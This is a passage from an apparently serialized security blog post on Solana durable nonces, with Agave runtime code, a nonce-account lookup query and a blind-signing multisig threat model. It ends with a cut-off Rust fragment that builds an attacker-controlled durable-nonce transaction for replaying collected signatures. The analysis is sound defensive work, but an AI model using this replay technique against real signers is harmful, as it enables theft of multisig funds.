max_age",{"type":24,"tag":271,"props":74697,"children":74698},{"style":278},[74699],{"type":29,"value":16541},{"type":24,"tag":271,"props":74701,"children":74702},{"style":3887},[74703],{"type":29,"value":20897},{"type":24,"tag":271,"props":74705,"children":74706},{"class":273,"line":294},[74707],{"type":24,"tag":271,"props":74708,"children":74709},{"style":288},[74710],{"type":29,"value":1171},{"type":24,"tag":25,"props":74712,"children":74713},{},[74714],{"type":29,"value":74715},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":24,"tag":10670,"props":74717,"children":74718},{},[74719],{"type":24,"tag":25,"props":74720,"children":74721},{},[74722,74724],{"type":29,"value":74723},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":24,"tag":213,"props":74725,"children":74726},{},[74727],{"type":29,"value":74728},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":24,"tag":25,"props":74730,"children":74731},{},[74732,74734,74739],{"type":29,"value":74733},"This means an attacker ",{"type":24,"tag":10648,"props":74735,"children":74736},{},[74737],{"type":29,"value":74738},"must use",{"type":29,"value":74740}," a malicious signed transaction within a short timeframe.",{"type":24,"tag":85,"props":74742,"children":74744},{"id":74743},"durable-nonce",[74745],{"type":29,"value":74746},"Durable Nonce",{"type":24,"tag":25,"props":74748,"children":74749},{},[74750,74752,74759],{"type":29,"value":74751},"The second type of signature ",{"type":24,"tag":32,"props":74753,"children":74756},{"href":74754,"rel":74755},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[36],[74757],{"type":29,"value":74758},"is a durable nonce",{"type":29,"value":74760},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":24,"tag":10670,"props":74762,"children":74763},{},[74764],{"type":24,"tag":25,"props":74765,"children":74766},{},[74767,74769],{"type":29,"value":74768},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":24,"tag":213,"props":74770,"children":74771},{},[74772],{"type":29,"value":74773},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":24,"tag":25,"props":74775,"children":74776},{},[74777,74779,74786],{"type":29,"value":74778},"If we examine the code ",{"type":24,"tag":32,"props":74780,"children":74783},{"href":74781,"rel":74782},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[36],[74784],{"type":29,"value":74785},"for recent blockhash validation",{"type":29,"value":74787},", we can also see the handling for durable nonces.",{"type":24,"tag":261,"props":74789,"children":74791},{"className":10718,"code":74790,"language":10717,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[74792],{"type":24,"tag":135,"props":74793,"children":74794},{"__ignoreMap":7},[74795,74842,74908,74928,74948,74978,74986,75040,75057,75077,75089,75101,75109,75116,75135,75162,75182,75189,75204,75234,75263],{"type":24,"tag":271,"props":74796,"children":74797},{"class":273,"line":274},[74798,74802,74807,74811,74816,74820,74825,74829,74833,74838],{"type":24,"tag":271,"props":74799,"children":74800},{"style":278},[74801],{"type":29,"value":10738},{"type":24,"tag":271,"props":74803,"children":74804},{"style":630},[74805],{"type":29,"value":74806}," recent_blockhash",{"type":24,"tag":271,"props":74808,"children":74809},{"style":624},[74810],{"type":29,"value":1712},{"type":24,"tag":271,"props":74812,"children":74813},{"style":630},[74814],{"type":29,"value":74815}," tx",{"type":24,"tag":271,"props":74817,"children":74818},{"style":624},[74819],{"type":29,"value":41},{"type":24,"tag":271,"props":74821,"children":74822},{"style":598},[74823],{"type":29,"value":74824},"message",{"type":24,"tag":271,"props":74826,"children":74827},{"style":288},[74828],{"type":29,"value":21579},{"type":24,"tag":271,"props":74830,"children":74831},{"style":624},[74832],{"type":29,"value":41},{"type":24,"tag":271,"props":74834,"children":74835},{"style":598},[74836],{"type":29,"value":74837},"recent_blockhash",{"type":24,"tag":271,"props":74839,"children":74840},{"style":288},[74841],{"type":29,"value":4230},{"type":24,"tag":271,"props":74843,"children":74844},{"class":273,"line":284},[74845,74849,74853,74857,74861,74866,74870,74874,74879,74883,74888,74892,74896,74900,74904],{"type":24,"tag":271,"props":74846,"children":74847},{"style":749},[74848],{"type":29,"value":5025},{"type":24,"tag":271,"props":74850,"children":74851},{"style":278},[74852],{"type":29,"value":34981},{"type":24,"tag":271,"props":74854,"children":74855},{"style":3887},[74856],{"type":29,"value":34986},{"type":24,"tag":271,"props":74858,"children":74859},{"style":288},[74860],{"type":29,"value":606},{"type":24,"tag":271,"props":74862,"children":74863},{"style":630},[74864],{"type":29,"value":74865},"hash_info",{"type":24,"tag":271,"props":74867,"children":74868},{"style":288},[74869],{"type":29,"value":8823},{"type":24,"tag":271,"props":74871,"children":74872},{"style":624},[74873],{"type":29,"value":762},{"type":24,"tag":271,"props":74875,"children":74876},{"style":630},[74877],{"type":29,"value":74878}," hash_queue",{"type":24,"tag":271,"props":74880,"children":74881},{"style":624},[74882],{"type":29,"value":41},{"type":24,"tag":271,"props":74884,"children":74885},{"style":598},[74886],{"type":29,"value":74887},"get_hash_info_if_valid",{"type":24,"tag":271,"props":74889,"children":74890},{"style":288},[74891],{"type":29,"value":606},{"type":24,"tag":271,"props":74893,"children":74894},{"style":630},[74895],{"type":29,"value":74837},{"type":24,"tag":271,"props":74897,"children":74898},{"style":288},[74899],{"type":29,"value":158},{"type":24,"tag":271,"props":74901,"children":74902},{"style":630},[74903],{"type":29,"value":74628},{"type":24,"tag":271,"props":74905,"children":74906},{"style":288},[74907],{"type":29,"value":919},{"type":24,"tag":271,"props":74909,"children":74910},{"class":273,"line":294},[74911,74915,74919,74924],{"type":24,"tag":271,"props":74912,"children":74913},{"style":3887},[74914],{"type":29,"value":22509},{"type":24,"tag":271,"props":74916,"children":74917},{"style":288},[74918],{"type":29,"value":606},{"type":24,"tag":271,"props":74920,"children":74921},{"style":3887},[74922],{"type":29,"value":74923},"CheckedTransactionDetails",{"type":24,"tag":271,"props":74925,"children":74926},{"style":288},[74927],{"type":29,"value":7145},{"type":24,"tag":271,"props":74929,"children":74930},{"class":273,"line":303},[74931,74936,74940,74944],{"type":24,"tag":271,"props":74932,"children":74933},{"style":630},[74934],{"type":29,"value":74935}," nonce",{"type":24,"tag":271,"props":74937,"children":74938},{"style":624},[74939],{"type":29,"value":12210},{"type":24,"tag":271,"props":74941,"children":74942},{"style":3887},[74943],{"type":29,"value":35434},{"type":24,"tag":271,"props":74945,"children":74946},{"style":288},[74947],{"type":29,"value":638},{"type":24,"tag":271,"props":74949,"children":74950},{"class":273,"line":312},[74951,74956,74960,74965,74969,74974],{"type":24,"tag":271,"props":74952,"children":74953},{"style":630},[74954],{"type":29,"value":74955}," lamports_per_signature",{"type":24,"tag":271,"props":74957,"children":74958},{"style":624},[74959],{"type":29,"value":12210},{"type":24,"tag":271,"props":74961,"children":74962},{"style":630},[74963],{"type":29,"value":74964}," hash_info",{"type":24,"tag":271,"props":74966,"children":74967},{"style":624},[74968],{"type":29,"value":41},{"type":24,"tag":271,"props":74970,"children":74971},{"style":598},[74972],{"type":29,"value":74973},"lamports_per_signature",{"type":24,"tag":271,"props":74975,"children":74976},{"style":288},[74977],{"type":29,"value":11217},{"type":24,"tag":271,"props":74979,"children":74980},{"class":273,"line":321},[74981],{"type":24,"tag":271,"props":74982,"children":74983},{"style":288},[74984],{"type":29,"value":74985}," })\n",{"type":24,"tag":271,"props":74987,"children":74988},{"class":273,"line":330},[74989,74993,74997,75001,75005,75009,75013,75018,75022,75027,75031,75035],{"type":24,"tag":271,"props":74990,"children":74991},{"style":288},[74992],{"type":29,"value":23476},{"type":24,"tag":271,"props":74994,"children":74995},{"style":749},[74996],{"type":29,"value":11044},{"type":24,"tag":271,"props":74998,"children":74999},{"style":749},[75000],{"type":29,"value":1352},{"type":24,"tag":271,"props":75002,"children":75003},{"style":278},[75004],{"type":29,"value":34981},{"type":24,"tag":271,"props":75006,"children":75007},{"style":3887},[75008],{"type":29,"value":34986},{"type":24,"tag":271,"props":75010,"children":75011},{"style":288},[75012],{"type":29,"value":39197},{"type":24,"tag":271,"props":75014,"children":75015},{"style":630},[75016],{"type":29,"value":75017},"nonce",{"type":24,"tag":271,"props":75019,"children":75020},{"style":288},[75021],{"type":29,"value":158},{"type":24,"tag":271,"props":75023,"children":75024},{"style":630},[75025],{"type":29,"value":75026},"previous_lamports_per_signature",{"type":24,"tag":271,"props":75028,"children":75029},{"style":288},[75030],{"type":29,"value":16550},{"type":24,"tag":271,"props":75032,"children":75033},{"style":624},[75034],{"type":29,"value":762},{"type":24,"tag":271,"props":75036,"children":75037},{"style":278},[75038],{"type":29,"value":75039}," self\n",{"type":24,"tag":271,"props":75041,"children":75042},{"class":273,"line":339},[75043,75048,75053],{"type":24,"tag":271,"props":75044,"children":75045},{"style":624},[75046],{"type":29,"value":75047}," .",{"type":24,"tag":271,"props":75049,"children":75050},{"style":598},[75051],{"type":29,"value":75052},"check_load_and_advance_message_nonce_account",{"type":24,"tag":271,"props":75054,"children":75055},{"style":288},[75056],{"type":29,"value":4028},{"type":24,"tag":271,"props":75058,"children":75059},{"class":273,"line":347},[75060,75065,75069,75073],{"type":24,"tag":271,"props":75061,"children":75062},{"style":630},[75063],{"type":29,"value":75064}," tx",{"type":24,"tag":271,"props":75066,"children":75067},{"style":624},[75068],{"type":29,"value":41},{"type":24,"tag":271,"props":75070,"children":75071},{"style":598},[75072],{"type":29,"value":74824},{"type":24,"tag":271,"props":75074,"children":75075},{"style":288},[75076],{"type":29,"value":11217},{"type":24,"tag":271,"props":75078,"children":75079},{"class":273,"line":356},[75080,75085],{"type":24,"tag":271,"props":75081,"children":75082},{"style":630},[75083],{"type":29,"value":75084}," next_durable_nonce",{"type":24,"tag":271,"props":75086,"children":75087},{"style":288},[75088],{"type":29,"value":638},{"type":24,"tag":271,"props":75090,"children":75091},{"class":273,"line":365},[75092,75097],{"type":24,"tag":271,"props":75093,"children":75094},{"style":630},[75095],{"type":29,"value":75096}," next_lamports_per_signature",{"type":24,"tag":271,"props":75098,"children":75099},{"style":288},[75100],{"type":29,"value":638},{"type":24,"tag":271,"props":75102,"children":75103},{"class":273,"line":374},[75104],{"type":24,"tag":271,"props":75105,"children":75106},{"style":288},[75107],{"type":29,"value":75108}," )\n",{"type":24,"tag":271,"props":75110,"children":75111},{"class":273,"line":384},[75112],{"type":24,"tag":271,"props":75113,"children":75114},{"style":288},[75115],{"type":29,"value":4203},{"type":24,"tag":271,"props":75117,"children":75118},{"class":273,"line":393},[75119,75123,75127,75131],{"type":24,"tag":271,"props":75120,"children":75121},{"style":3887},[75122],{"type":29,"value":22509},{"type":24,"tag":271,"props":75124,"children":75125},{"style":288},[75126],{"type":29,"value":606},{"type":24,"tag":271,"props":75128,"children":75129},{"style":3887},[75130],{"type":29,"value":74923},{"type":24,"tag":271,"props":75132,"children":75133},{"style":288},[75134],{"type":29,"value":7145},{"type":24,"tag":271,"props":75136,"children":75137},{"class":273,"line":402},[75138,75142,75146,75150,75154,75158],{"type":24,"tag":271,"props":75139,"children":75140},{"style":630},[75141],{"type":29,"value":74935},{"type":24,"tag":271,"props":75143,"children":75144},{"style":624},[75145],{"type":29,"value":12210},{"type":24,"tag":271,"props":75147,"children":75148},{"style":3887},[75149],{"type":29,"value":34986},{"type":24,"tag":271,"props":75151,"children":75152},{"style":288},[75153],{"type":29,"value":606},{"type":24,"tag":271,"props":75155,"children":75156},{"style":630},[75157],{"type":29,"value":75017},{"type":24,"tag":271,"props":75159,"children":75160},{"style":288},[75161],{"type":29,"value":14453},{"type":24,"tag":271,"props":75163,"children":75164},{"class":273,"line":411},[75165,75169,75173,75178],{"type":24,"tag":271,"props":75166,"children":75167},{"style":630},[75168],{"type":29,"value":74955},{"type":24,"tag":271,"props":75170,"children":75171},{"style":624},[75172],{"type":29,"value":12210},{"type":24,"tag":271,"props":75174,"children":75175},{"style":630},[75176],{"type":29,"value":75177}," previous_lamports_per_signature",{"type":24,"tag":271,"props":75179,"children":75180},{"style":288},[75181],{"type":29,"value":638},{"type":24,"tag":271,"props":75183,"children":75184},{"class":273,"line":420},[75185],{"type":24,"tag":271,"props":75186,"children":75187},{"style":288},[75188],{"type":29,"value":74985},{"type":24,"tag":271,"props":75190,"children":75191},{"class":273,"line":429},[75192,75196,75200],{"type":24,"tag":271,"props":75193,"children":75194},{"style":288},[75195],{"type":29,"value":23476},{"type":24,"tag":271,"props":75197,"children":75198},{"style":749},[75199],{"type":29,"value":11044},{"type":24,"tag":271,"props":75201,"children":75202},{"style":288},[75203],{"type":29,"value":7145},{"type":24,"tag":271,"props":75205,"children":75206},{"class":273,"line":438},[75207,75212,75216,75221,75226,75230],{"type":24,"tag":271,"props":75208,"children":75209},{"style":630},[75210],{"type":29,"value":75211}," error_counters",{"type":24,"tag":271,"props":75213,"children":75214},{"style":624},[75215],{"type":29,"value":41},{"type":24,"tag":271,"props":75217,"children":75218},{"style":288},[75219],{"type":29,"value":75220},"blockhash_not_found ",{"type":24,"tag":271,"props":75222,"children":75223},{"style":624},[75224],{"type":29,"value":75225},"+=",{"type":24,"tag":271,"props":75227,"children":75228},{"style":477},[75229],{"type":29,"value":824},{"type":24,"tag":271,"props":75231,"children":75232},{"style":288},[75233],{"type":29,"value":1069},{"type":24,"tag":271,"props":75235,"children":75236},{"class":273,"line":447},[75237,75241,75245,75250,75254,75259],{"type":24,"tag":271,"props":75238,"children":75239},{"style":3887},[75240],{"type":29,"value":22552},{"type":24,"tag":271,"props":75242,"children":75243},{"style":288},[75244],{"type":29,"value":606},{"type":24,"tag":271,"props":75246,"children":75247},{"style":3887},[75248],{"type":29,"value":75249},"TransactionError",{"type":24,"tag":271,"props":75251,"children":75252},{"style":624},[75253],{"type":29,"value":11207},{"type":24,"tag":271,"props":75255,"children":75256},{"style":3887},[75257],{"type":29,"value":75258},"BlockhashNotFound",{"type":24,"tag":271,"props":75260,"children":75261},{"style":288},[75262],{"type":29,"value":694},{"type":24,"tag":271,"props":75264,"children":75265},{"class":273,"line":455},[75266],{"type":24,"tag":271,"props":75267,"children":75268},{"style":288},[75269],{"type":29,"value":4385},{"type":24,"tag":25,"props":75271,"children":75272},{},[75273],{"type":29,"value":75274},"The documentation does a good job of explaining how they work.",{"type":24,"tag":10670,"props":75276,"children":75277},{},[75278],{"type":24,"tag":25,"props":75279,"children":75280},{},[75281],{"type":29,"value":75282},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":24,"tag":25,"props":75284,"children":75285},{},[75286,75288,75295],{"type":29,"value":75287},"Durable nonces are created and managed ",{"type":24,"tag":32,"props":75289,"children":75292},{"href":75290,"rel":75291},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[36],[75293],{"type":29,"value":75294},"by the system program",{"type":29,"value":75296},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":24,"tag":25,"props":75298,"children":75299},{},[75300,75302,75309],{"type":29,"value":75301},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":24,"tag":32,"props":75303,"children":75306},{"href":75304,"rel":75305},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[36],[75307],{"type":29,"value":75308},"based on the current blockhash",{"type":29,"value":75310},", and cannot be predicted in advance.",{"type":24,"tag":261,"props":75312,"children":75314},{"className":10718,"code":75313,"language":10717,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[75315],{"type":24,"tag":135,"props":75316,"children":75317},{"__ignoreMap":7},[75318,75370,75403],{"type":24,"tag":271,"props":75319,"children":75320},{"class":273,"line":274},[75321,75325,75329,75333,75337,75341,75346,75350,75354,75358,75362,75366],{"type":24,"tag":271,"props":75322,"children":75323},{"style":278},[75324],{"type":29,"value":10738},{"type":24,"tag":271,"props":75326,"children":75327},{"style":630},[75328],{"type":29,"value":74878},{"type":24,"tag":271,"props":75330,"children":75331},{"style":624},[75332],{"type":29,"value":1712},{"type":24,"tag":271,"props":75334,"children":75335},{"style":278},[75336],{"type":29,"value":21497},{"type":24,"tag":271,"props":75338,"children":75339},{"style":624},[75340],{"type":29,"value":41},{"type":24,"tag":271,"props":75342,"children":75343},{"style":288},[75344],{"type":29,"value":75345},"blockhash_queue",{"type":24,"tag":271,"props":75347,"children":75348},{"style":624},[75349],{"type":29,"value":41},{"type":24,"tag":271,"props":75351,"children":75352},{"style":598},[75353],{"type":29,"value":10320},{"type":24,"tag":271,"props":75355,"children":75356},{"style":288},[75357],{"type":29,"value":21579},{"type":24,"tag":271,"props":75359,"children":75360},{"style":624},[75361],{"type":29,"value":41},{"type":24,"tag":271,"props":75363,"children":75364},{"style":598},[75365],{"type":29,"value":11391},{"type":24,"tag":271,"props":75367,"children":75368},{"style":288},[75369],{"type":29,"value":4230},{"type":24,"tag":271,"props":75371,"children":75372},{"class":273,"line":284},[75373,75377,75382,75386,75390,75394,75399],{"type":24,"tag":271,"props":75374,"children":75375},{"style":278},[75376],{"type":29,"value":10738},{"type":24,"tag":271,"props":75378,"children":75379},{"style":630},[75380],{"type":29,"value":75381}," last_blockhash",{"type":24,"tag":271,"props":75383,"children":75384},{"style":624},[75385],{"type":29,"value":1712},{"type":24,"tag":271,"props":75387,"children":75388},{"style":630},[75389],{"type":29,"value":74878},{"type":24,"tag":271,"props":75391,"children":75392},{"style":624},[75393],{"type":29,"value":41},{"type":24,"tag":271,"props":75395,"children":75396},{"style":598},[75397],{"type":29,"value":75398},"last_hash",{"type":24,"tag":271,"props":75400,"children":75401},{"style":288},[75402],{"type":29,"value":4230},{"type":24,"tag":271,"props":75404,"children":75405},{"class":273,"line":294},[75406,75410,75415,75419,75424,75428,75433,75437,75441,75446],{"type":24,"tag":271,"props":75407,"children":75408},{"style":278},[75409],{"type":29,"value":10738},{"type":24,"tag":271,"props":75411,"children":75412},{"style":630},[75413],{"type":29,"value":75414}," next_durable_nonce",{"type":24,"tag":271,"props":75416,"children":75417},{"style":624},[75418],{"type":29,"value":1712},{"type":24,"tag":271,"props":75420,"children":75421},{"style":3887},[75422],{"type":29,"value":75423}," DurableNonce",{"type":24,"tag":271,"props":75425,"children":75426},{"style":624},[75427],{"type":29,"value":11207},{"type":24,"tag":271,"props":75429,"children":75430},{"style":598},[75431],{"type":29,"value":75432},"from_blockhash",{"type":24,"tag":271,"props":75434,"children":75435},{"style":288},[75436],{"type":29,"value":606},{"type":24,"tag":271,"props":75438,"children":75439},{"style":624},[75440],{"type":29,"value":1137},{"type":24,"tag":271,"props":75442,"children":75443},{"style":630},[75444],{"type":29,"value":75445},"last_blockhash",{"type":24,"tag":271,"props":75447,"children":75448},{"style":288},[75449],{"type":29,"value":1155},{"type":24,"tag":25,"props":75451,"children":75452},{},[75453,75455,75460],{"type":29,"value":75454},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":24,"tag":10648,"props":75456,"children":75457},{},[75458],{"type":29,"value":75459},"can",{"type":29,"value":75461}," be saved and reused.",{"type":24,"tag":62,"props":75463,"children":75465},{"id":75464},"threat-model",[75466],{"type":29,"value":75467},"Threat Model",{"type":24,"tag":25,"props":75469,"children":75470},{},[75471],{"type":29,"value":75472},"Let's consider a simplified form of the original question.",{"type":24,"tag":3834,"props":75474,"children":75475},{},[75476,75481,75486],{"type":24,"tag":101,"props":75477,"children":75478},{},[75479],{"type":29,"value":75480},"We have a N/M multisig",{"type":24,"tag":101,"props":75482,"children":75483},{},[75484],{"type":29,"value":75485},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":24,"tag":101,"props":75487,"children":75488},{},[75489],{"type":29,"value":75490},"We can accurately query chain state.",{"type":24,"tag":25,"props":75492,"children":75493},{},[75494],{"type":29,"value":75495},"Can we safely sign transactions?",{"type":24,"tag":25,"props":75497,"children":75498},{},[75499],{"type":29,"value":75500},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":24,"tag":25,"props":75502,"children":75503},{},[75504,75506,75512,75514,75521],{"type":29,"value":75505},"Durable nonces require an onchain account, and it's possible to use a ",{"type":24,"tag":135,"props":75507,"children":75509},{"className":75508},[],[75510],{"type":29,"value":75511},"getProgramAccounts",{"type":29,"value":75513}," call to validate if your signer ",{"type":24,"tag":32,"props":75515,"children":75518},{"href":75516,"rel":75517},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[36],[75519],{"type":29,"value":75520},"has an associated durable nonce",{"type":29,"value":41},{"type":24,"tag":261,"props":75523,"children":75525},{"className":43598,"code":75524,"language":43600,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[75526],{"type":24,"tag":135,"props":75527,"children":75528},{"__ignoreMap":7},[75529,75576,75612,75620,75632,75640,75652,75660,75668,75685,75692,75699,75707,75715,75727,75753,75770,75777,75784,75792,75799],{"type":24,"tag":271,"props":75530,"children":75531},{"class":273,"line":274},[75532,75536,75541,75545,75549,75554,75558,75563,75567,75572],{"type":24,"tag":271,"props":75533,"children":75534},{"style":278},[75535],{"type":29,"value":611},{"type":24,"tag":271,"props":75537,"children":75538},{"style":630},[75539],{"type":29,"value":75540}," connection",{"type":24,"tag":271,"props":75542,"children":75543},{"style":624},[75544],{"type":29,"value":1712},{"type":24,"tag":271,"props":75546,"children":75547},{"style":278},[75548],{"type":29,"value":39603},{"type":24,"tag":271,"props":75550,"children":75551},{"style":598},[75552],{"type":29,"value":75553}," Connection",{"type":24,"tag":271,"props":75555,"children":75556},{"style":288},[75557],{"type":29,"value":606},{"type":24,"tag":271,"props":75559,"children":75560},{"style":598},[75561],{"type":29,"value":75562},"clusterApiUrl",{"type":24,"tag":271,"props":75564,"children":75565},{"style":288},[75566],{"type":29,"value":606},{"type":24,"tag":271,"props":75568,"children":75569},{"style":378},[75570],{"type":29,"value":75571},"'testnet'",{"type":24,"tag":271,"props":75573,"children":75574},{"style":288},[75575],{"type":29,"value":5811},{"type":24,"tag":271,"props":75577,"children":75578},{"class":273,"line":284},[75579,75583,75588,75592,75596,75600,75604,75608],{"type":24,"tag":271,"props":75580,"children":75581},{"style":278},[75582],{"type":29,"value":611},{"type":24,"tag":271,"props":75584,"children":75585},{"style":630},[75586],{"type":29,"value":75587}," nonceAccounts",{"type":24,"tag":271,"props":75589,"children":75590},{"style":624},[75591],{"type":29,"value":1712},{"type":24,"tag":271,"props":75593,"children":75594},{"style":749},[75595],{"type":29,"value":43879},{"type":24,"tag":271,"props":75597,"children":75598},{"style":630},[75599],{"type":29,"value":75540},{"type":24,"tag":271,"props":75601,"children":75602},{"style":288},[75603],{"type":29,"value":41},{"type":24,"tag":271,"props":75605,"children":75606},{"style":598},[75607],{"type":29,"value":75511},{"type":24,"tag":271,"props":75609,"children":75610},{"style":288},[75611],{"type":29,"value":4028},{"type":24,"tag":271,"props":75613,"children":75614},{"class":273,"line":294},[75615],{"type":24,"tag":271,"props":75616,"children":75617},{"style":2058},[75618],{"type":29,"value":75619}," // The system program owns all nonce accounts.\n",{"type":24,"tag":271,"props":75621,"children":75622},{"class":273,"line":303},[75623,75628],{"type":24,"tag":271,"props":75624,"children":75625},{"style":630},[75626],{"type":29,"value":75627}," SYSTEM_PROGRAM_ADDRESS",{"type":24,"tag":271,"props":75629,"children":75630},{"style":288},[75631],{"type":29,"value":638},{"type":24,"tag":271,"props":75633,"children":75634},{"class":273,"line":312},[75635],{"type":24,"tag":271,"props":75636,"children":75637},{"style":288},[75638],{"type":29,"value":75639}," {\n",{"type":24,"tag":271,"props":75641,"children":75642},{"class":273,"line":321},[75643,75648],{"type":24,"tag":271,"props":75644,"children":75645},{"style":630},[75646],{"type":29,"value":75647}," filters:",{"type":24,"tag":271,"props":75649,"children":75650},{"style":288},[75651],{"type":29,"value":33297},{"type":24,"tag":271,"props":75653,"children":75654},{"class":273,"line":330},[75655],{"type":24,"tag":271,"props":75656,"children":75657},{"style":288},[75658],{"type":29,"value":75659}," {\n",{"type":24,"tag":271,"props":75661,"children":75662},{"class":273,"line":339},[75663],{"type":24,"tag":271,"props":75664,"children":75665},{"style":2058},[75666],{"type":29,"value":75667}," // Nonce accounts are exactly 80 bytes long\n",{"type":24,"tag":271,"props":75669,"children":75670},{"class":273,"line":347},[75671,75676,75681],{"type":24,"tag":271,"props":75672,"children":75673},{"style":630},[75674],{"type":29,"value":75675}," dataSize:",{"type":24,"tag":271,"props":75677,"children":75678},{"style":477},[75679],{"type":29,"value":75680}," 80",{"type":24,"tag":271,"props":75682,"children":75683},{"style":288},[75684],{"type":29,"value":638},{"type":24,"tag":271,"props":75686,"children":75687},{"class":273,"line":356},[75688],{"type":24,"tag":271,"props":75689,"children":75690},{"style":288},[75691],{"type":29,"value":44867},{"type":24,"tag":271,"props":75693,"children":75694},{"class":273,"line":365},[75695],{"type":24,"tag":271,"props":75696,"children":75697},{"style":288},[75698],{"type":29,"value":75659},{"type":24,"tag":271,"props":75700,"children":75701},{"class":273,"line":374},[75702],{"type":24,"tag":271,"props":75703,"children":75704},{"style":2058},[75705],{"type":29,"value":75706}," // The authority's 32-byte public key is written\n",{"type":24,"tag":271,"props":75708,"children":75709},{"class":273,"line":384},[75710],{"type":24,"tag":271,"props":75711,"children":75712},{"style":2058},[75713],{"type":29,"value":75714}," // into bytes 8-40 of the nonce's account data.\n",{"type":24,"tag":271,"props":75716,"children":75717},{"class":273,"line":393},[75718,75723],{"type":24,"tag":271,"props":75719,"children":75720},{"style":630},[75721],{"type":29,"value":75722}," memcmp:",{"type":24,"tag":271,"props":75724,"children":75725},{"style":288},[75726],{"type":29,"value":7145},{"type":24,"tag":271,"props":75728,"children":75729},{"class":273,"line":402},[75730,75735,75740,75744,75749],{"type":24,"tag":271,"props":75731,"children":75732},{"style":630},[75733],{"type":29,"value":75734}," bytes:",{"type":24,"tag":271,"props":75736,"children":75737},{"style":630},[75738],{"type":29,"value":75739}," AUTHORITY_PUBLIC_KEY",{"type":24,"tag":271,"props":75741,"children":75742},{"style":288},[75743],{"type":29,"value":41},{"type":24,"tag":271,"props":75745,"children":75746},{"style":598},[75747],{"type":29,"value":75748},"toBase58",{"type":24,"tag":271,"props":75750,"children":75751},{"style":288},[75752],{"type":29,"value":11217},{"type":24,"tag":271,"props":75754,"children":75755},{"class":273,"line":411},[75756,75761,75766],{"type":24,"tag":271,"props":75757,"children":75758},{"style":630},[75759],{"type":29,"value":75760}," offset:",{"type":24,"tag":271,"props":75762,"children":75763},{"style":477},[75764],{"type":29,"value":75765}," 8",{"type":24,"tag":271,"props":75767,"children":75768},{"style":288},[75769],{"type":29,"value":638},{"type":24,"tag":271,"props":75771,"children":75772},{"class":273,"line":420},[75773],{"type":24,"tag":271,"props":75774,"children":75775},{"style":288},[75776],{"type":29,"value":33049},{"type":24,"tag":271,"props":75778,"children":75779},{"class":273,"line":429},[75780],{"type":24,"tag":271,"props":75781,"children":75782},{"style":288},[75783],{"type":29,"value":44867},{"type":24,"tag":271,"props":75785,"children":75786},{"class":273,"line":438},[75787],{"type":24,"tag":271,"props":75788,"children":75789},{"style":288},[75790],{"type":29,"value":75791}," ],\n",{"type":24,"tag":271,"props":75793,"children":75794},{"class":273,"line":447},[75795],{"type":24,"tag":271,"props":75796,"children":75797},{"style":288},[75798],{"type":29,"value":13588},{"type":24,"tag":271,"props":75800,"children":75801},{"class":273,"line":455},[75802],{"type":24,"tag":271,"props":75803,"children":75804},{"style":288},[75805],{"type":29,"value":1155},{"type":24,"tag":25,"props":75807,"children":75808},{},[75809,75811,75819],{"type":29,"value":75810},"Unfortunately this is not sufficient",{"type":24,"tag":23171,"props":75812,"children":75813},{},[75814],{"type":24,"tag":32,"props":75815,"children":75817},{"href":37298,"ariaDescribedBy":75816,"dataFootnoteRef":7,"id":37300},[23178],[75818],{"type":29,"value":156},{"type":29,"value":75820},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":24,"tag":261,"props":75822,"children":75824},{"className":10718,"code":75823,"language":10717,"meta":7,"style":7}," let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n let message =\n Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n 